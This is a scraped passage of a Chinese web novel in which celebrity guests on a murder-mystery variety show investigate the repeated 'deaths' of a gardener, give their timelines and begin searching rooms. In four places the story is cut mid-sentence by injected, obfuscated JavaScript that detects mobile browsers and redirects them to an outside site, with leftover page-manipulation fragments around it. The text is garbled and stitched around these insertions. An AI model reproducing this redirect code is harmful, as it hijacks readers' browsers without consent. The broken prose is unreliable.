RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172065|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生办的。” 莫闻赫的眼神在两人身上来回扫视,但没有立刻质疑,而是正襟危坐,气势沉然:“我是莫少帅,二十五岁,昨天开始接管桃花源岛的安全事宜,刑狱之事也归我管。如果你们陶家出了命案,我全权负责,你们每个人都要配合我进行调查,明白?” “明白。” “明白。” 众人很配合地应答,莫闻赫满意地点头:“行。那大小姐,你来说说你们家园丁死得到处都是的事吧。” 地狱笑话再次出现,这回所有人都忍俊不禁。 白韶清道:“我们家园丁叫陶园,十九岁,他的母亲以前是家里的厨娘,后来好像是干不下去跑了,他就自愿留下干活赔罪,让我们不要追究他母亲的过错。” 何循连连点头表示赞同。 白韶清接着道:“我平时都是八点的时候起床,但今天起早了,七点就起了,就想到花园里折几枝花回来插瓶。但我一进园子,便看到我们的宁先生——” 她加重语气,顿时把大家的目光引到宁非凡身上,莫闻赫也看了过去。 宁先生好整以暇地笑笑,下巴微抬,示意她继续。 白韶清指着他说:“我看到他用花锄敲在陶园后脑,砸死陶园后把他埋进了花圃里!” 众人倒吸一口冷气,莫闻赫则向宁非凡挑挑眉:“青天白日直接杀人啊?你到底是教书先生还是法外狂徒?” 宁非凡舔了舔下唇,与他对上眼神后飞快移开,托着脸笑而不语。 他的态度似有深意,莫闻赫拿起工作人员递过来的侦探专属记录本,第一句就记了他一笔,头也不抬地对白韶清问:“嗯,这是陶园第一次在你面前被杀对吧?后来呢?” 白韶清“惊吓过度”,倚在桌子扶手上轻轻喘气:“我当时吓到了,不敢发出声音,也不敢告诉别人,就悄悄回屋了。可我在走廊的转角处——就是花园到我房间的那条走廊的拐角,我看到已经死了,还被埋了的陶园居然站在我弟弟的门口……” “你哪个弟弟?”何循问。 “两个弟弟,他们俩的房间是挨在一起的。”白韶清答道,“我看到他们两个开门,一个拿着花瓶,一个拿着花架,又把陶园敲死了一次!” 秦章摸摸鼻尖,聂远笙挠挠耳朵,也露出与宁非凡相似的神色。 “合谋杀人。”莫闻赫另起一行记录,“这次他的尸体去哪儿了?” 白韶清用手帕按了按鼻下:“他们俩屋旁有个水池,两人杀完人,就直接把尸体扔进去了。” 莫闻赫点头:“然后呢?还有第三次吗?” “有。”白韶清瞥向左右两边的何循和王洛玟,“看见弟弟们杀人,我肯定不敢再从那条路回房,就从假山丛那边绕路。但我刚穿过第一座假山,就听见里面传出了父亲和二妹的声音。” “他们说了什么?” “父亲说‘把他扔在这儿就行’,二妹不同意,说要把他扔到假山丛外的枯井中。”白韶清如实回答,“我扒在假山边,看见他们抓着陶园的脚将他拖出去。那时他已经死了,他们把他扔进了井里,我亲眼看到的。” 何循扶了扶眼镜,没吱声,王洛玟欲言又止,低头整理扇子上的羽毛。 “一个人,死了三次,死在不同地方,凶手还都不一样。”莫闻赫看着自己的记录,眉峰微微聚拢,“各位凶手,你们有什么话要说吗?” 嘴上说着“各位”,莫闻赫的眼神却只是扫过其他人,最后定格在宁非凡脸上。 宁非凡向他一笑,转眼看向白韶清:“在解释之前,我想先问大小姐一个问题。” “你说。” 宁非凡温和地道:“大小姐,你还记得自己有妄想症吗?” “轰——” 雷声沉闷滚过,又一道闪电劈下,照亮了大小姐惊愕的神情。 8. 正片第一期(三) 短暂的惊愕后,莫闻赫直起背脊,向前倾身:“妄想症?” 白韶清也一扶桌站起,诧异地指着自己的鼻子:“我?有妄想症?” 综艺角色的剧本经常会出现自己的一部分线索在其他人的故事里的情况,尤其是推理解谜类综艺,几乎期期如此。 在场众人都知道这事儿,但在镜头前,该惊讶还是得惊讶。 白韶清左看右看,从其他人微妙的表情中看出什么,瞠目结舌:“真的假的?我完全不知道啊!” “得这种病的人很少有知道自己病情的,你不知道很正常。”何循和蔼地笑笑,示意她坐下,“我们以前也跟你说过你生病的事,但你每次发病过后就会忘记,久而久之,我们也就不说了。” 王洛玟点头:“只是没想到你这次犯病看到的东西居然这么离谱——我们五人杀了陶园三次,什么仇什么怨啊。” 白韶清挠挠头发,仍然半信半疑:“可我看到的场景很真实啊……” 宁非凡笑了笑:“大小姐,你今天并没有七点就起床,你因为前几天着凉生病,昨晚吃过药以后就一直睡到了中午,这些我们五个都能作证。至于陶园,上午的时候我还见过他,至少九点之前他都是活着的。” “所以……”白韶清嘴角微抽,“我看到的他的三次死亡都是我臆想出来的?那我跟他有什么仇什么怨啊对他这么狠?” 宁非凡耸耸肩,表示自己也不知道。 莫闻赫转了转笔:“大小姐,你再说一下陶园死后被抛尸的地点,我们挨个过去看看。” “现在?”秦章伸头看了眼外面,又是一道闪电劈来,他吓得缩回椅子上,反应很大地抖了抖,“外面雨这么大,还电闪雷鸣的,不、不好吧?” 莫闻赫闻言,半是警惕半是戏谑地看了过去:“三少爷,你好像很紧张啊,是害怕我们真的搜出什么东西来吗?” 秦章干笑:“那倒也没有,主要是担心太麻烦少帅你了……” “不麻烦,宁先生刚才都说了,这是我的业绩。”莫闻赫似笑非笑地斜看宁非凡,手里的笔又转一圈。 宁非凡回以一笑,没有说话。 进入角色后,两人之间的气氛始终处于一种微妙的紧绷和对抗状态,如同拉满的弓弦架着锋利的箭矢。但因为是在录制综艺,他们不会时时处在戏里,稍不留神就会溜出点对彼此的真性情来,掺杂在他们交错的眼神或如此刻长久的对视中,形成一种隐隐的拉锯。 弓矢上弦,却引而不发,对立也克制。 熟读大红CP领嗑帖三百篇,不会作文也会品的白韶清捂嘴一笑,随即正色道:“那三个地方我记得,一个是前面庭院的花圃,一个是弟弟们屋子旁边的水池,还有一个假山丛后方的枯井,离得不远,少帅想看,我现在就可以带你过去。” 说着,她的目光从众人脸上扫过:“也正好确认一下那到底是不是我妄想症发作时产生的幻觉。” 莫闻赫一拍扶手站起身:“那就走吧,先去最近的花圃。” 一行人走出正厅,除何循外两两一把伞,前后脚走到那大理石砌边的花圃前。 雨还在下,花卉稀疏的田圃里一片泥泞,被雨水打出高低不平的泥水坑。 “我来吧。” 几人迟疑了一下,宁非凡率先拿过斜放在旁边的花锄,弯腰去翻挖泥土。 莫闻赫站在他身边给他打伞,大半伞面都倾斜在他头顶,自己半边身子被淋了个湿透。 聂远笙见状,拿了另一支花锄帮着翻,秦章负责给他打伞,其余人则聚在一旁看。 花圃不深也不大,宁非凡和聂远笙很快就翻了个底朝天,一无所获。 众人又套上透明雨衣,去了水池和枯井,同样一无所获。 枯井边杂草横生,凹凸不平的土面上有好几处积水,嵌在井沿的石灯发着幽幽黄光,却连半米下的井壁都照不到,反倒将雨夜的氛围烘托得更阴森。 何循双手叉腰,看向提着裙摆的白韶清:“闺女,三个地方都看过了,没有陶园的尸体,你看到的肯定是幻觉。” 莫闻赫挪动步子,和宁非凡挨着肩:“你们刚才在正厅里讨论什么?为什么会突然提到陶园死了?还有,如果陶园没死,有人知道他现在在哪儿吗?” 王洛玟拢了拢雨衣领子,避免雨水滴到里面去:“我们在说后院荷花池的事,六月份的时候爹……咳咳,爹让陶园种了一池子荷花,但不知道怎么回事,晚饭过后我们去那边看的时候,发现那些已经结了花苞的荷花居然全都枯死了。爹说这是不祥之兆,把我们几个喊到大厅里问话,还想让人去找陶园。但刚说要找他,大姐就突然语出惊人,然后少帅你不就来了吗,也没来得及找嘛。” “也就是说,陶园现在的生死还是不确定的?”莫闻赫问。 “对。”王洛玟点头。 “好吧,这儿雨太大了,我们先回正厅再说。”莫闻赫招招手,手落下时顺势抓了宁非凡手肘一把,“走。” 宁非凡被他带到身边,跟他并肩走在最前头带路,同时落到了镜头中心。 经过系统内部培训,宁非凡知道他这是在帮自己带镜头,也不拒绝他的好意,只是边走边回头开玩笑:“不出意外的话,陶园肯定是出意外了,咱们跑了三个地方都没看见尸体,别回到正厅就发现他的尸体挂在了门外。” 何循笑着戳他后背:“就你看的恐怖片多是吧。” 白韶清擦掉落在睫毛上的雨滴,乐呵呵接话:“死的也不一定是陶园,没准是咱们几个里的一个呢?” “啊?”聂远笙傻眼,“我们中的一个人才刚开始上工就要下班了?” “那不好说……” 几人有说有笑地往回走,气氛轻松。 绕过花圃就是正厅大门,昏黄的灯光泻出廊外,铺在台阶上,暗沉沉的流下一道斑驳的光影。 在那光影之间,有条狭长的影子正轻轻晃动,衬得雨夜雷声格外凄厉。 七人不约而同地停了脚步,站在台阶下,仰头望进正厅。 昏惨惨的烛影里,一具“尸体”挂在房梁上,随风轻晃。“他”穿着粗简的灰色布衣,右脚的布鞋不翼而飞,身上沾满了泥水,头颅高高向后扬着,露出脖颈上凌乱深紫的勒痕,早已死去多时。 静默半晌,众人的目光转向宁非凡。 莫闻赫指着他道:“你嘴开光了?” 宁非凡一脸懵逼地与他对视:“不知道啊。” 何循“啧”了一声,伸手在宁非凡肩膀上一按:“锁凶,锁凶。少帅你这就把他带走,我绝不阻拦!” “带走吧带走吧……” 他身后的几人连声附和,王洛玟更是把雨衣帽子一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172066|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脱,话语掷地有声:“破案了,下班!” “别别别,多少让我狡辩几句!”宁非凡一手抓住王洛玟,一手莫闻赫,“少帅你给个机会,我想做个好人!” 莫闻赫被他拉得趔趄一步,笑道:“做好人可不是用嘴说的,得看证据。” 宁非凡道:“证据都是调查出来的,怎么能因为我一时嘴快说中了尸体出现的地方就说我是凶手呢?要不咱们还是调查调查?” 莫闻赫上下打量他几番,勉为其难地点头:“也行,那我们先去看看尸体吧。” 宁非凡当即抱拳行礼:“少帅英明!” 旁边看着他仨演的几人乐坏了,纷纷跟着脱了雨衣走进厅内。 一通忙活之后,“尸体”从房梁上放了下来,略显沉重的假人横放在地上,扭手扭脚死状可怖,尤其是头颅后仰的姿势,在夜里看着让人心里直冒寒气。 莫闻赫蹲在一旁,着重检查“他”的致命伤,宁非凡则在“他”身上翻翻找找,从“他”口袋、衣服褶皱等地方翻出了些东西,顺手递给寄不过来的何循和两个弟弟。 白韶清弯腰脱下“尸体”的鞋,在鞋底的泥印里挑出一片荷花花瓣,王洛玟凑上去看,疑惑地道:“他的鞋丢了一只,鞋底还有荷花的花瓣,是不是在荷花池那边死的?” “那儿的荷花都枯萎了,应该没有这么新鲜的花瓣。”宁非凡道,又抬头望向对面的莫闻赫:“少帅,确认死因了吗?” 莫闻赫抬眼看他,黯淡的烛火跳跃在他黑白分明的凤眼里,犹如灿灿星辉,折射出一种莫名的生命力。 莫闻赫不知怎的避了一下,一秒钟后又望回去:“初步判定可能是被勒死。他的颈骨向后折断,说明凶手勒他时他是仰着头的,这不是吊死的姿势,他应该是死后才被挂到了房梁上。” “他身上还有别的伤口吗?”聂远笙挤到宁非凡身边蹲下,一边问一边翻“尸体”的衣服,一眼就在“他”手臂上发现了几道挫伤擦伤,“诶,这儿有伤口!” 秦章凑近了问:“会不会是凶手搬动‘尸体’时留下的?” “不会,如果是拖拽类伤口,基本会集中在后背、臀部、腿部或者肩膀等地方,而且都是大面积擦伤,这些伤口,更像是他死前留下的。”莫闻赫拉近“尸体”手臂细看,在伤口边沿发现了一圈紫红色,“他的伤口怎么是发紫的?中毒了?” 何循眯着眼看了看,“哦”了一声:“那是红药水的颜色,治跌打损伤的。” 莫闻赫瞬间出戏,闷笑道:“好吧,道具组严谨。” 把“尸体”身上翻了个底朝天,确认没有遗漏的证据之后,莫闻赫叫来“手下”将其抬到客房进行仔细“验尸”,带着六位嫌疑人坐回原本的位置。 他脱下半湿的外套,挽起衬衫袖子,露出一截白皙精壮的小臂,在记录本上写写画画,同时头也不抬地道:“正如我们宁先生所说,陶园不出意外的出意外了,而且‘尸体’在我们离开大厅后,被凶手不知道用什么方法挂到了正厅的房梁上。” “从现在起,这座宅子由我接管,其余嫌疑不那么大的家丁会由我的手下审理,而你们六个最大嫌疑人,由我亲自调查。” 莫闻赫的笔尖在句子末尾用力点了一下:“现在我们来聊聊各位的时间线,以及最后一次见到死者的时间。陶何老爷,从你先开始。” 9. 正片第一期(四) 何循调整了一下坐姿,斜靠在扶手上说:“我有早起的习惯,老年人觉少嘛,所以今早六点就起床了,洗漱完吃过早饭约莫是六点半,我去前院遛了遛弯,跟正在打理花圃的陶园见了一面,那时大概是七点。” 他的手指敲击着膝盖,不自觉又进入了人物状态:“跟陶园打过照面后,一直到中午十二点我都没再见过他。吃完午饭我就回房去午睡了,睡了三个小时,四点起床,我心血来潮地去了一趟后院荷花池,在那里又看到了陶园,他正在检查花苞的状态。” “那时人还活着,池子里的花也是正常状态?”莫闻赫奋笔疾书。 “对。”何循点点头,“我还跟陶园聊了两句荷花的事,嘱咐他一定要小心照料,绝不能让这一池子花出事,他也应了。” “那会儿是几点?”宁非凡边记边问。 何循想了想:“四点十五分吧。从那开始一直到晚饭之后发现荷花池出事,把所有人召集起来,我都没再见过他。” 莫闻赫不置可否:“嗯,下一个是大小姐。” 白韶清清清嗓子,拿捏着稍显柔弱的语调道:“我的时间线在你们听来可能有问题,但没办法,我只能照我的经历去说。” 莫闻赫撩起眼皮看她一眼:“对,你有妄想症是吧?” “是你们认为我有妄想症,我本人不承认这件事。”白韶清正儿八经地纠正,“从起床到看见陶园被杀三次这段我就不重复了,我从这儿之后说起。” 莫闻赫颔首:“可以,你说。” “看到陶园被抛尸枯井后,我仓皇地回到了我的房间,这时候是七点半。因为太过害怕和紧张,我把门窗锁了起来,躺回床上,思考着接下来要怎么办,纠结是要报警还是装作没看到,替大家掩饰罪行,纠结着纠结着,不知不觉就睡了过去。” 秦章被逗笑了:“姐你也是心大,这都能睡着,看来还是不够怕。” “弟弟不愧是搞音乐的,还压上韵了。”白韶清笑眯眯地回话,下一秒回到角色本身,“我睡了有三个多小时吧,十点五十分的时候醒的,之后就一直待在房间里,午饭晚饭都是让下人送到房里吃的,直到爹说荷花池出事了,让所有人都到大厅集合,我才离开房间。” 她的时间线因为存在变量,需要其他人辅助验证,莫闻赫当即看向宁非凡:“宁先生,除去妄想症那部分,大小姐说的跟你们看到的一致吗?” 宁非凡回忆着自己拿到的文本:“差不太多,在我的认知里,她的起床时间是十一点,起床后确实没有出过房门。” 莫闻赫又看向其他人,众人纷纷点头,表示宁非凡说的不错。 “好。”莫闻赫在白韶清的时间线后面画了个星号,“下一个,二小姐。” 王洛玟听他喊到自己,顿时挺直脊梁,正色道:“我是九点起床,吃过早饭就出门逛街了,逛到十一点半回来,正好赶上午饭做好,我便先给大姐送饭,然后端着自己的那份回屋吃。” 莫闻赫狐疑地皱眉:“你们一家子不在一起吃饭吗?” “是的。”王洛玟一脸理所当然,“我们每个人的作息不同,除了节假日的重要聚餐,我们基本上不在一起用餐,都是各吃各的。” 莫闻赫备注了一句,觉得这个点怎么想怎么不对劲:“好怪啊。算了,你先继续说。” 闻言,王洛玟便接着道:“午饭过后我也睡了会儿觉,时间不长,一个小时,两点我就醒了,出门跟朋友们喝下午茶,直到六点才回来,吃过晚饭,陪爹去看了荷花池,然后就是到正厅集合了。” 宁非凡笔尖一顿:“你今天没有见过陶园?” “没有,一面都没见过。”王洛玟摆了摆手,“而且我今天大部分时间都在外面,少帅可以让你的手下去查,我是有人证的。” “撇这么干净吗?”莫闻赫咕哝,“除了这些,你还有别的时间线吗?” 王洛玟摇头:“没有了。” 莫闻赫翻过记录本一页:“行。三少爷,该你了。” 正在做笔记的秦章连忙抬头:“我是八点起床,吃完早饭歇了半个小时,就绕着前院后院晨跑,跑了三圈。晨跑结束的时候正好九点半,我在荷花池附近看到了陶园,他在检查花苞。” “那时人还活着?”莫闻赫确认道。 “活着啊,我还跟他聊天了。”秦章捏着笔杆转了转,“我问他这些荷花没问题吧,他说没问题,再有几天就能开了,肯定不会耽误爹的事儿。我看他忙着,就没有打扰他,问完就走了。” “之后呢?” “之后我就去了琴房练琴,我学钢琴的,每天都要练上三五个小时,今天也不例外,大概练到十二点才停下去吃饭,吃完饭就回屋午睡了。下午……三点半,我睡醒了,从房间里出来,往厨房那边走,想去找点点心填填肚子,路过荷花池的时候,看到陶园在池子边上放鱼。” “放鱼?”又一个新事件被触发,莫闻赫连忙记下。 “对啊,荷花池嘛,种了花肯定是得养鱼的,这都是配套的东西。”秦章满脸“这不是天经地义”的表情,“他放的应该是鲤鱼,不是鱼苗,是已经长成的大鱼。但有点奇怪,刚刚我们去检查荷花池状况的时候,池子里居然一条鱼都没有。” “你确定看到他在放鱼?”白韶清追问。 “确定,那么大的网兜,十几条比我手掌大的鲤鱼,我不可能看错的。”秦章回答得斩钉截铁,语气坚定,“我当时没有多想,径直离开了。等我拿着点心从厨房出来,他人已经不在那儿了。再然后就是晚饭后被爹叫到正厅来了,中途没有遇到别的事,我也没有再见过陶园。” 莫闻赫把荷花池圈起来:“四少爷。” “诶!”聂远笙应了一声,“我是八点钟起的床,没有在家吃早饭,洗漱完就出门买东西去了,九点才回来。我回来的时候有撞见陶园,他在打理花圃,把枯死的花都铲了,说是要种点别的花卉进去。那会儿他还活着。” “后来呢?”莫闻赫问。 聂远笙道:“后来我就回房了,一直在看书,恶补金融方面的知识,午饭和晚饭都是在房里吃的,这一点我跟大姐一样。直到爹突然让我们到大厅集合,我才过去。” “你中间一次都没出去过?”宁非凡感觉非常荒谬,“厕所也不上?” 聂远笙被他问愣了:“没有,一次都没有出去过。” 宁非凡低低 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172067|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑了一声,笑声沉柔磁性:“行,大小姐和四少爷还是要注意身体,别憋坏了。” 现场略显沉闷的气氛因他一句话破冰,众人乐不可支,何循更是一边笑一边说:“你俩要么一个是凶手一个是扛推位,要么就是纯纯大冤种,这时间线太反常识了。” 莫闻赫也忍俊不禁,拿笔头轻轻敲了宁非凡一下:“就你脑回路清奇。” 笑过之后,短暂的轻松氛围一收,再度回到正题。 莫闻赫看向宁非凡:“该你了宁先生。” “好的。”宁非凡微微坐直,“我是六点起床,六点半吃完早餐后开始巡视宅子——这不是我的工作,是我的习惯,你也可以视作一种消遣。” “嗯,听着不像教书先生,像管家。”莫闻赫意味深长地道。 宁非凡笑了笑,并未就此解释什么,而是接着往下说:“整栋宅子巡视完大概用了我三个小时的时间,中途我见过陶园一次,在九点的时候,我看到他在给荷花池换水……” “等等。”莫闻赫忽然叫停,英气的长眉也拧了起来,“你说他九点的时候在干嘛?” “在给荷花池换水。”宁非凡道,“后院的荷花池底修了暗渠,连着外面的海棠溪,只要打开暗渠的闸门,引活水进来,就能替换掉原本的浊水,之前一直是这么做的。” 莫闻赫挑挑眉毛,目光在他和聂远笙身上扫来扫去:“可四少爷刚刚说九点的时候他看到陶园在前院打理花圃,你们俩……谁说的是真的?” 聂远笙愣了:“我……我九点的时候确实看到他在前院啊!” 宁非凡若有所思:“我也确认我看到他九点在给荷花池换水。” “你们之中有人在说谎?” 秦章侧头打量两人,正在奋笔疾书的何循几人也停下了动作。 宁非凡轻笑着摇头:“不会,这种谎言太蹩脚,不至于。我更倾向于这两个信息都是真的或都是假的,指向的是陶园本身的古怪——不是为自己开脱啊,我总觉得这个死者的动线很怪。” 莫闻赫看着本子上圈圈点点的地方,十分赞同地点头,却没有立刻进行分析:“你把剩下的时间线说完。” “好。”宁非凡稍作回忆,“巡视完宅子是九点半的事,在那之后我一直待在书房里,整理老爷的藏书,只有十二点吃午饭和六点吃晚饭的时候出来了两趟,到厨房吃饭。” 王洛玟托着下巴,一脸认真地问:“上厕所了吗?” 宁非凡也一脸认真地答:“吃饭的前后抽时间去上了。” 被内涵的大小姐和四少爷笑着捂脸,别过头去叹了一声。 莫闻赫无奈摇头:“知道你严谨了宁先生,我再确认一个时间点——陶老爷和二小姐都说晚饭后去看过荷花池,具体是几点看的?除了你俩还有别人去吗?” “没有,就我们俩。”何循道,“那时候应该是八点半,雨还没下起来。看完之后我就让家丁去叫人,还没来得及聊几句,九点一到少帅您不就来拍门了吗?” 莫闻赫不紧不慢地点了两下头,反复看着记了满满当当三页纸的信息,唇角微扬:“有点儿意思啊……宁先生说的没错,这个死者今天的动线确实很怪。” 10.正片第一期(五) 在众人的时间线里,陶园的动线是碎片化且大量重复的。分散开看可能不觉得奇怪,毕竟都是他日常会做的事,可一旦按照顺序梳理出来,怪异感就会非常严重。 莫闻赫转着笔念道:“根据你们的说法,最早见到陶园的人是陶老爷,七点的时候看到他在前院打理花圃。然后是九点,四少爷看见他在打理花圃,宁先生看见他在给荷花池换水。” “这里先不管时间点的真假,分开讨论,如果四少爷看到的是真的,那么他打理了整整两个小时的花圃,就那么点地,至于耗时这么长吗?如果宁先生看到的是真的,那么他九点的时候在给荷花池换水,正好就对上了下一个节点,也就是九点半的时候,三少爷看见他在荷花池检查花苞的状况。” “再往后是下午三点半,三少爷看到他在往荷花池里放鱼。之后是四点十五分,陶老爷看到他在检查花苞。” 白韶清记录着莫闻赫梳理好的动线:“他这一整天啥事儿没干,净在花圃和荷花池俩地方徘徊了。不是打理花圃就是检查花苞,中途还放了次鱼,只有换水不确定真假。” “挺忙的,但不知道在忙什么。”王洛玟吐槽道,“爹今天是见了他两次对吧?第一个见他和最后一个见他的都是您,您的撒谎空间很大啊。” “撒谎空间大说明我嫌疑小啊。”何循笑眯眯地张口就来,“悬疑剧不都这样吗?嫌疑越大,嫌疑越小。” “矛盾文学属实让您拿捏到位了。”宁非凡笑着揉了揉耳垂。 莫闻赫翻过记录本一页,略微组织了下语言,沉声道:“朋友们,我这里总结了一些疑点,大家先听着记着,有什么需要补充的再提。” 众人点点头,不约而同地朝他看了过去。 莫闻赫说:“第一点,也是最明显的一点,宁先生和四少爷在九点的时候看到陶园出现在了不同地方做不同的事,这里面肯定有一个说法是真的,一个说法是假的,具体哪个真哪个假,一会儿搜证的时候大家可以多留意这方面的线索。” “第二点,大家的时间线基本都有问题。陶老爷的问题就像二小姐说的,第一个和最后一个见到陶园的都是他,撒谎空间很大。大小姐的问题是时间线不确定,她的妄想症不知道是真是假,连带着所有时间点全部存疑,至少目前都不可信。二小姐是唯一一个今天没有见过陶园且出了两次门的人,三少爷、四少爷和宁先生的时间线都有着不同程度的空白,尤其是四少爷,九点以后就没有任何时间线上的线索了,这非常奇怪,你们三人很可能还隐瞒了什么。” “第三点,也是让我十分费解的一点——我觉得你们不太像一家人。” 几人正飞快记着他说的疑点,冷不丁听到这话,宁非凡头一个抬起眼睫:“怎么说?” “你是外人姑且不论,”莫闻赫拿笔点点他,又看向其他人,“一家五口从不在一起吃饭,除二小姐给大小姐送过一次饭以外,其余人完全没有交流,大小姐患有妄想症也不见你们谁关心过她,比起家人,倒更像是在这间宅子里合租的陌生人。” 宁非凡挑了挑眉,另外五人则意味深长地对视一眼,什么都没说,却像什么都说了。 二小姐慢条斯理地摇着扇子,皮笑肉不笑地道:“我们这种家庭就是这样的啦,不争家产都谢天谢地了,能有多深厚的感情。” “没那么简单吧。”莫闻赫把袖子又撸高一点,手肘撑在桌上,随性散漫,又露出颇为可靠的气场,“大小姐,陶园的死对你而言似乎是件难以接受的事?” 白韶清拿手帕按了按眼角,不发一言。 莫闻赫又转向何循:“陶老爷,荷花池里的荷花对陶家究竟有何意义?为什么荷花枯死了,你的反应这么大?” 何循推了推眼镜,没有看他。 莫闻赫的眼神从每个人脸上扫过,眼风如刀,似乎是在认真观察他们的微表情,直到看到宁非凡这里,眼神才略微放柔。 “还有一个细节刚刚忘了说,三少爷说三点半的时候看到陶园往荷花池里放鱼,但刚才去看,却发现池子里一条鱼都没有。这也是个值得注意的疑点。” 莫闻赫合上记录本,看了眼时间,已经将近晚上十点。 今天的录制流程是到一轮搜证结束,他没有耽搁时间,当即起身道:“行,这会儿干问应该也问不出什么东西来了,咱们把伞拿上,到各人房间里搜证吧。” 听到这话,所有人精神一振,纷纷颇为兴奋地站起身来往外走,在工作人员的指引下去往后院的卧房。 古宅很大,好在用以录制的几间屋子隔得不远,而且都由回廊相连,他们只需撑伞穿过一小片庭院,就能抵达距离最近的陶老爷的房间。 宁非凡与莫闻赫仍是打同一把伞,莫闻赫握着伞柄,伞面向宁非凡那边倾斜,被宁非凡推了几次才打正。 “你的房间在哪儿?”莫闻赫问,“你有单独的房间吗?还是住书房里?” 宁非凡提着长袍下摆跨过一滩积水:“我应该是有自己房间的,不过这一期我的空间是书房,因为我一整天都待在书房里。” “你今天也很有嫌疑。”莫闻赫左右看了看,带着他往没有积水的地方走,“九点那个时间点太吃亏了,你还是后说的,要是先说你嫌疑都没那么大。” 宁非凡经过一从齐腰高的三角梅,正想说什么,衣摆却勾在了横斜蔓溢的枝叶上,一扯就溅了一身水。 莫闻赫连忙让他站定,伸手替他解下了下摆。见状,他顺势接过雨伞,说道:“其实大家的嫌疑差不多,都有难以解释的疑点,看一会儿能搜出来什么吧。我抿直觉的话,比较怀疑陶老爷。” “为什么?”莫闻赫拍了拍他衣摆上的水珠,才给他放下去,“因为他见到陶园的那两个时间点?” “不是,说了是直觉,没根据的。”宁非凡仔细捋着模模糊糊的思绪,“好像是他之前说了句什么话,让我感觉怪怪的,但具体是哪句话,我一时想不起来了。” “你这就纯纯盲猜。”莫闻赫好笑,“不过鉴于之前你猜中了尸体出现的位置,我信你一回,等会儿好好搜陶老爷。” 宁非凡笑着点头。 就在这时,不远处突然传来王洛玟促狭的声音:“诶,你俩说完没有?” 两人先是一愣,而后扭头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16186996|180727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看去,就见那一家五口已经整整齐齐站在了走廊下,好整以暇地看着仍停在三角梅旁的他们,面露微笑,仿佛一窝不怀好意的藏狐。 不知为何,他们心中莫名一虚,一边应答一边赶紧快步走上前去。 聂远笙捂着嘴笑了两声:“莫少帅对着我们宁先生倒是好说话啊,又给人打伞又跟人和颜悦色地聊天,多少有点暧昧了哦。” 白韶清的目光在两人身上溜来溜去:“你俩不会背着我们有隐藏的感情线吧?” “别乱加戏。”莫闻赫好气又好笑,“快进去搜证吧。” “啧,急了。” “可快别说了,我们少帅脸皮薄,待会儿他又要拔枪了。” “当面蛐蛐我是吧?” 一行人有说有笑地推门进了陶老爷房间,迎面而来的是一股暖湿气。 雨天潮湿,房中又点着蜡烛,在门窗紧闭之时不免沤出点潮热感来,带着南方雨季特有的闷湿感,呼吸时气管里都萦绕着水汽。 房间不大,在蜡烛光线与恐怖片打光板的映照下,满屋流动着一种看似正常,实则处处诡异的氛围。 拔步床外床帘放了一半,露出的床铺斜打着阴影,乍一看好像躺了个人。床的左侧放着博物架和衣柜,右侧是一扇轩窗,窗下放了书桌和椅子,桌上整齐摆放着木匣、文房四宝和一张未完成的画,画纸半垂下桌沿,画里那个水墨描摹的背影就那么挂在那儿,一打眼看过去就像伏了个人影,险些把王洛玟心脏病吓出来。 “哎哟我的老天爷啊!”二小姐抚着胸口长出一口气,“爹,你的屋子这么吓人吗?我怎么一眼望过去哪哪儿都是人啊?” 何循进门就被床上的黑影吓到,扭头又因为那幅画惊了一跳,这会儿正拿袖子擦汗,无奈地说:“闺女啊,爹也不知道这屋子到了晚上那么吓人。反正睡这儿我是一点不孤单,睁眼闭眼都能感觉到处都是人。” 俩父女说完,瑟缩着挨到了一起,然后一齐伸手抓住聂远笙弟弟,挂件似的勾在他手臂上。 宁非凡和莫闻赫自然是半点不怕的,进屋之后直奔线索,不多大会儿就把博物柜和衣柜翻了个底朝天,此时正并肩站在书桌前,一起拿着那幅画细细打量。 秦章和白韶清在翻床。弟弟抓着床帘抖了抖,就从褶皱里抖出了一把钥匙。恰好白韶清把枕头掀开,掏出了一只扁长的巴掌大的上锁小木匣,两人凑近一看,钥匙与锁配套,直接打开,然后就一起被匣子里金灿灿的钗子闪了下眼睛。 一旁带着两个挎包搜证的聂远笙也被晃了下:“什么东西这么闪啊?你们开出掌心雷还是袖中剑了?” 